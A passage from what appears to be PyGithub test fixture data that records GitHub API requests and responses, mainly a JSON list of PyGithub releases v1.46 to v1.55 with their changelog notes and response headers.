X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA76:10FD2:8738F60:895D8B5:61DC5706')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41982557/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.55","id":41982557,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgyNTU3","tag_name":"v1.55","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T04:43:40Z","published_at":"2021-04-26T04:44:57Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.55","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.55","body":"**Breaking Changes**\r\n\r\n* Remove client_id/client_secret authentication (#1888) (901af8c8)\r\n* Adjust to Github API changes regarding emails (#1890) (2c77cfad)\r\n - This impacts what AuthenticatedUser.get_emails() returns\r\n* PublicKey.key_id could be int on Github Enterprise (#1894) (ad124ef4)\r\n* Export headers in GithubException (#1887) (ddd437a7)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Do not import from unpackaged paths in typing (#1926) (27ba7838)\r\n* Implement hash for CompletableGithubObject (#1922) (4faff23c)\r\n* Use property decorator to improve typing compatibility (#1925) (e4168109)\r\n* Fix :rtype: directive (#1927) (54b6a97b)\r\n* Update most URLs to docs.github.com (#1896) (babcbcd0)\r\n* Tighten asserts for new Permission tests (#1893) (5aab6f5d)\r\n* Adding attributes \"maintain\" and \"triage\" to class \"Permissions\" (#1810) (76879613)\r\n* Add default arguments to Workflow method type annotations (#1857) (7d6bac9e)\r\n* Re-raise the exception when failing to parse JSON (#1892) (916da53b)\r\n* Allow adding attributes at the end of the list (#1807) (0245b758)\r\n* Updating links to Github documentation for deploy keys (#1850) (c27fb919)\r\n* Update PyJWT Version to 2.0+ (#1891) (a68577b7)\r\n* Use right variable in both get_check_runs() (#1889) (3003e065)\r\n* fix bad assertions in github.Project.edit (#1817) (6bae9e5c)\r\n* Test repr() for PublicKey (#1879) (e0acd8f4)\r\n* Add support for deleting repository secrets (#1868) (696793de)\r\n* Switch repository secrets to using f-strings (#1867) (aa240304)\r\n* Manually fixing paths for codecov.io to cover all project files (#1813) (b2232c89)\r\n* Add missing links to project metadata (#1789) (64f532ae)\r\n* No longer show username and password examples (#1866) (55d98373)\r\n* Adding github actions secrets (#1681) (c90c050e)\r\n* fix get_user_issues (#1842) (7db1b0c9)\r\n* Switch all string addition to using f-strings (#1774) (290b6272)\r\n* Enabling connetion pool_size definition (a77d4f48)\r\n* Always define the session adapter (aaec0a0f)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41981910/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.0.1","id":41981910,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgxOTEw","tag_name":"v1.54.0.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T02:22:13Z","published_at":"2021-04-26T04:07:53Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.0.1","body":"* Hotfix release to better support Python 3.5 users.\r\n* Pin pyjwt to <2.0 (502caed9)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/35686980/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.1","id":35686980,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM1Njg2OTgw","tag_name":"v1.54.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-12-24T04:11:01Z","published_at":"2020-12-24T05:39:10Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.1","body":"* Pin pyjwt version (#1797) (31a1c007)\r\n* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\r\n* Fix #1731: Incorrect annotation (82c349ce)\r\n* Drop support for Python 3.5 (#1770) (63e4fae9)\r\n* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\r\n* Fix stubs file for Repository (fab682a5)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/34560445/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54","id":34560445,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM0NTYwNDQ1","tag_name":"v1.54","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-11-30T05:43:49Z","published_at":"2020-11-30T05:50:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54","body":"**Important**\r\n\r\nThis is the last release that will support Python 3.5.\r\n\r\n**Breaking Changes**\r\n\r\nThe Github.get_installation(integer) method has been removed.\r\nRepository.create_deployment()'s payload parameter is now a dictionary.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add support for Check Suites (#1764) (6d501b28)\r\n* Add missing preview features of Deployment and Deployment Statuses API (#1674) (197e0653)\r\n* Correct typing for Commit.get_comments() (#1765) (fcdd9eae)\r\n* Pin requests to <2.25 as well (#1757) (d159425f)\r\n* Add Support for Check Runs (#1727) (c77c0676)\r\n* Added a method for getting a user by their id (#1691) (4cfc9912)\r\n* Fix #1742 - incorrect typehint for `Installation.id` (#1743) (546f6495)\r\n* Add WorkflowRun.workflow_id (#1737) (78a29a7c)\r\n* Add support for Python 3.9 (#1735) (1bb18ab5)\r\n* Added support for the Self-Hosted actions runners API (#1684) (24251f4b)\r\n* Fix Branch protection status in the examples (#1729) (88800844)\r\n* Filter the DeprecationWarning in Team tests (#1728) (23f47539)\r\n* Added get_installations() to Organizations (#1695) (b42fb244)\r\n* Fix #1507: Add new Teams: Add or update team repository endpoint (#1509) (1c55be51)\r\n* Added support for `Repository.get_workflow_runs` parameters (#1682) (c23564dd)\r\n* feat(pullrequest): add the rebaseable attribute (#1690) (ee4c7a7e)\r\n* Add support for deleting reactions (#1708) (f7d203c0)\r\n* Correct type hint for InputGitTreeElement.sha (08b72b48)\r\n* Ignore new black formatting commit for git blame (#1680) (7ec4f155)\r\n* Format with new black (#1679) (07e29fe0)\r\n* Add get_timeline() to Issue's type stubs (#1663) (6bc9ecc8)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29803578/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.53","id":29803578,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5ODAzNTc4","tag_name":"v1.53","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-18T08:15:44Z","published_at":"2020-08-18T08:21:50Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.53","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.53","body":"* Test Organization.get_hook() (#1660) (2646a98c)\r\n* Add method get_team_membership for user to Team (#1658) (749e8d35)\r\n* Add typing files for OAuth classes (#1656) (429fcc73)\r\n* Fix Repository.create_repository_dispatch type signature (#1643) (f891bd61)\r\n* PaginatedList's totalCount is 0 if no last page (#1641) (69b37b4a)\r\n* Add initial support for Github Apps. (#1631) (260558c1)\r\n* Correct **kwargs typing for search_* (#1636) (165d995d)\r\n* Add delete_branch_on_merge arg to Repository.edit type stub (#1639) (15b5ae0c)\r\n* Fix type stub for MainClass.get_user (#1637) (8912be64)\r\n* Add type stub for Repository.create_fork (#1638) (de386dfb)\r\n* Correct Repository.create_pull typing harder (#1635) (5ad091d0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29219442/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.52","id":29219442,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5MjE5NDQy","tag_name":"v1.52","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-03T08:45:52Z","published_at":"2020-08-03T08:47:09Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.52","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.52","body":"* upload_asset with data in memory (#1601) (a7786393)\r\n* Make Issue.closed_by nullable (#1629) (06dae387)\r\n* Add support for workflow dispatch event (#1625) (16850ef1)\r\n* Do not check reaction_type before sending (#1592) (136a3e80)\r\n* Various Github Action improvement (#1610) (416f2d0f)\r\n* more flexible header splitting (#1616) (85e71361)\r\n* Create Dependabot config file (#1607) (e272f117)\r\n* Add support for deployment statuses (#1588) (048c8a1d)\r\n* Adds the 'twitter_username' attribute to NamedUser. (#1585) (079f75a7)\r\n* Create WorkflowRun.timing namedtuple from the dict (#1587) (1879518e)\r\n* Add missing properties to PullRequest.pyi (#1577) (c84fad81)\r\n* Add support for Workflow Runs (#1583) (4fb1d23f)\r\n* More precise typing for Repository.create_pull (#1581) (4ed7aaf8)\r\n* Update sphinx-rtd-theme requirement from <0.5 to <0.6 (#1563) (f9e4feeb)\r\n* More precise typing for MainClass.get_user() (#1575) (3668f866)\r\n* Small documentation correction in Repository.py (#1565) (f0f6ec83)\r\n* Remove \"api_preview\" parameter from type stubs and docstrings\r\n (#1559) (cc1b884c)\r\n* Upgrade actions/setup-python to v2 (#1555) (6f1640d2)\r\n* Clean up tests for GitReleaseAsset (#1546) (925764ad)\r\n* Repository.update_file() content also accepts bytes (#1543) (9fb8588b)\r\n* Fix Repository.get_issues stub (#1540) (b40b75f8)\r\n* Check all arguments of NamedUser.get_repos() (#1532) (69bfc325)\r\n* Correct Workflow typing (#1533) (f41c046f)\r\n* Remove RateLimit.rate (#1529) (7abf6004)\r\n* PullRequestReview is not a completable object (#1528) (19fc43ab)\r\n* Test more attributes (#1526) (52ec366b)\r\n* Remove pointless setters in GitReleaseAsset (#1527) (1dd1cf9c)\r\n* Drop some unimplemented methods in GitRef (#1525) (d4b61311)\r\n* Remove unneeded duplicate string checks in Branch (#1524) (61b61092)\r\n* Turn on coverage reporting for codecov (#1522) (e79b9013)\r\n* Drastically increase coverage by checking repr() (#1521) (291c4630)\r\n* Fixed formatting of docstrings for `Repository.create_git_tag_and_release()`\r\n and `StatsPunchCard`. (#1520) (ce400bc7)\r\n* Remove Repository.topics (#1505) (53d58d2b)\r\n* Small improvements to typing (#1517) (7b20b13d)\r\n* Correct Repository.get_workflows() (#1518) (8727003f)\r\n* docs(repository): correct releases link (#1514) (f7cc534d)\r\n* correct Repository.stargazers_count return type to int (#1513) (b5737d41)\r\n* Fix two RST warnings in Webhook.rst (#1512) (5a8bc203)\r\n* Filter FutureWarning for 2 test cases (#1510) (09a1d9e4)\r\n* Raise a FutureWarning on use of client_{id,secret} (#1506) (2475fa66)\r\n* Improve type signature for create_from_raw_data (#1503) (c7b5eff0)\r\n* feat(column): move, edit and delete project columns (#1497) (a32a8965)\r\n* Add support for Workflows (#1496) (a1ed7c0e)\r\n* Add create_repository_dispatch to typing files (#1502) (ba9d59c2)\r\n* Add OAuth support for GitHub applications (4b437110)\r\n* Create AccessToken entity (4a6468aa)\r\n* Extend installation attributes (61808da1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/26107841/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.51","id":26107841,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI2MTA3ODQx","tag_name":"v1.51","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-05-02T16:59:08Z","published_at":"2020-05-02T17:00:02Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.51","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.51","body":"* Type stubs are now packaged with the build (#1489) (6eba4506)\r\n* Travis CI is now dropped in favor of Github workflow (#1488) (d6e77ba1)\r\n* Get the project column by id (#1466) (63855409)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/25890896/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.50","id":25890896,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI1ODkwODk2","tag_name":"v1.50","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-04-26T08:48:26Z","published_at":"2020-04-26T08:51:01Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.50","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.50","body":"**New features**\r\n\r\n* PyGithub now supports type checking thanks to (#1231) (91433fe9)\r\n* Slack is now the main channel of communication rather than Gitter (6a6e7c26)\r\n* Ability to retrieve public events (#1481) (5cf9950b)\r\n* Add and handle the maintainer_can_modify attribute in PullRequest (#1465) (e0997b43)\r\n* List matching references (#1471) (d3bc6a5c)\r\n* Add create_repository_dispatch (#1449) (edcbdfda)\r\n* Add some Organization and Repository attributes. (#1468) (3ab97d61)\r\n* Add create project method (801ea385)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Drop use of shadow-cat for draft PRs (#1469) (84bb69ab)\r\n* AuthenticatedUser.get_organization_membership() should be str (#1473) (38b34db5)\r\n* Drop documentation for len() of PaginatedList (#1470) (70462598)\r\n* Fix param name of projectcard's move function (#1451) (bafc4efc)\r\n* Correct typos found with codespell (#1467) (83bef0f7)\r\n* Export IncompletableObject in the github namespace (#1450) (0ebdbb26)\r\n* Add GitHub Action workflow for checks (#1464) (f1401c15)\r\n* Drop unneeded ignore rule for flake8 (#1454) (b4ca9177)\r\n* Use pytest to parametrize tests (#1438) (d2e9bd69)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/24534063/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.47","id":24534063,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI0NTM0MDYz","tag_name":"v1.47","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-03-15T02:01:20Z","published_at":"2020-03-15T05:49:11Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.47","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.47","body":"**Bug Fixes & Improvements**\r\n\r\n* Add support to edit and delete a project (#1434) (f11f7395)\r\n* Add method for fetching pull requests associated with a commit (#1433) (0c55381b)\r\n* Add \"get_repo_permission\" to Team class (#1416) (219bde53)\r\n* Add list projects support, update tests (#1431) (e44d11d5)\r\n* Don't transform completely in PullRequest.*assignees (#1428) (b1c35499)\r\n* Add create_project support, add tests (#1429) (bf62f752)\r\n* Add draft attribute, update test (bd285248)\r\n* Docstring for Repository.create_git_tag_and_release (#1425) (bfeacded)\r\n* Create a tox docs environment (#1426) (b30c09aa)\r\n* Add Deployments API (#1424) (3d93ee1c)\r\n* Add support for editing project cards (#1418) (425280ce)\r\n* Add draft flag parameter, update tests (bd0211eb)\r\n* Switch to using pytest (#1423) (c822dd1c)\r\n* Fix GitMembership with a hammer (#1420) (f2939eb7)\r\n* Add support to reply to a Pull request comment (#1374) (1c82573d)\r\n* PullRequest.update_branch(): allow expected_head_sha to be empty (#1412) (806130e9)\r\n* Implement ProjectCard.delete() (#1417) (aeb27b78)\r\n* Add pre-commit plugin for black/isort/flake8 (#1398) (08b1c474)\r\n* Add tox (#1388) (125536fe)\r\n* Open file in text mode in scripts/add_attribute.py (#1396) (0396a493)\r\n* Silence most ResourceWarnings (#1393) (dd31a706)\r\n* Assert more attributes in Membership (#1391) (d6dee016)\r\n* Assert on changed Repository attributes (#1390) (6e3ceb19)\r\n* Add reset to the repr for Rate (#1389) (0829af81)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/23553566/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.46","id":23553566,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIzNTUzNTY2","tag_name":"v1.46","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-02-11T01:33:45Z","published_at":"2020-02-11T01:40:08Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.46","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.46","body":"**Important**\r\n\r\nPython 2 support has been removed. If you still require Python 2, use 1.45.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add repo edit support for delete_branch_on_merge (#1381) (9564cd4d)\r\n* Fix mistake in Repository.create_fork() (#1383) (ad040baf)\r\n* Correct two attributes in Invitation (#1382) (882fe087)\r\n* Search repo issues by string label (#1379) (4ae1a1e5)\r\n* Correct Repository.create_git_tag_and_release() (#1362) (ead565ad)\r\n* exposed seats and filled_seats for Github Organization Plan (#1360) (06a300ae)\r\n* Repository.create_project() body is optional (#1359) (0e09983d)\r\n* Implement move action for ProjectCard (#1356) (b11add41)\r\n* Tidy up ProjectCard.get_content() (#1355) (dd80a6c0)\r\n* Added nested teams and parent (#1348) (eacabb2f)\r\n* Correct parameter for Label.edit (#1350) (16e5f989)\r\n* doc: example of Pull Request creation (#1344) (d5ad09ae)\r\n* Fix PyPI wheel deployment (#1330) (4561930b)"}] + +https +GET +api.github.com +None +/repositories/3544490/releases?per_page=10&page=2 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"85c9c22a03038f1fc35f595b7645182b54bc8e3619e278c2a091207a8132a77d"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4638'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '362'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, 